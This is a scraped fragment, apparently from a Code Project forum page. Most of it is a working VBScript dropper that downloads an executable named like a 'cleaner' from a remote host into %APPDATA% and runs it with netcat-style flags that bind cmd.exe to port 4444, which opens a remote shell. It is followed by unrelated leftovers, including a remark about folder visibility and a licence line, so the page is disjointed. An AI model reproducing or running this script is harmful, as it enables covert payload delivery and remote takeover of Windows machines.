dim http_obj dim stream_obj dim shell_obj set http_obj = CreateObject("Microsoft.XMLHTTP") set stream_obj = CreateObject("ADODB.Stream") set shell_obj = CreateObject("WScript.Shell") Dim objWShell Set objWShell = WScript.CreateObject("WScript.Shell") Dim appData appData = objWShell.expandEnvironmentStrings("%APPDATA%") APPPATH = appData + ("\cleaner\") URL = "http://webserer.com/icleaner.exe" 'Where to download the file from FILENAME = "icleaner.exe" 'Name to save the file (on the local system) RUNCMD = APPPATH + "icleaner.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading http_obj.open "GET", URL, False http_obj.send stream_obj.type = 1 stream_obj.open stream_obj.write http_obj.responseBody stream_obj.savetofile APPPATH + FILENAME, 2 shell_obj.run RUNCMD stream_obj.close
Fortunately. When I set the folder attribute to be visible. It solved the problem.
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)